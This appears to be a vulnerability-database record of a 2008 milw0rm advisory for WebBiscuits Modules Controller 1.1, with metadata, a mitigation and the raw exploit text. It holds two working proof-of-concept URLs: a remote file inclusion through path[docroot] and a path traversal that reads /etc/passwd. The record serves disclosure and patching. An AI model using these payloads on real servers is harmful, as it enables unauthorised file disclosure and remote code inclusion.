WebBiscuits Modules Controller

vendor:

Modules Controller

by:

milw0rm.com

7.5

CVSS

HIGH

Remote File Inclusion/Remote File Disclosure

98, 22

CWE

Product Name: Modules Controller

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

WebBiscuits Modules Controller <= 1.1 (RFI/RFD) Multiple Remote Vulnerabilities

WebBiscuits Modules Controller version 1.1 is vulnerable to Remote File Inclusion and Remote File Disclosure. An attacker can exploit this vulnerability to include arbitrary files from remote locations and disclose sensitive information from the server.

Mitigation:

Upgrade to the latest version of WebBiscuits Modules Controller.

Source

Exploit-DB raw data:

 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

WebBiscuits Modules Controller <= 1.1 (RFI/RFD) Multiple Remote Vulnerabilities
Script : http://webbiscuits.com/download/all11.zip
I- Remote File Inclusion Vulnerability
http://xx.com/adminhead.php?path[docroot]=020.txt
And More Files ....
II- Remote File Disclosure Vulnerability
http://xx.com/faqsupport/wce.download.php?download=../../../../../../../../../../../../../etc/passwd
   
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-08]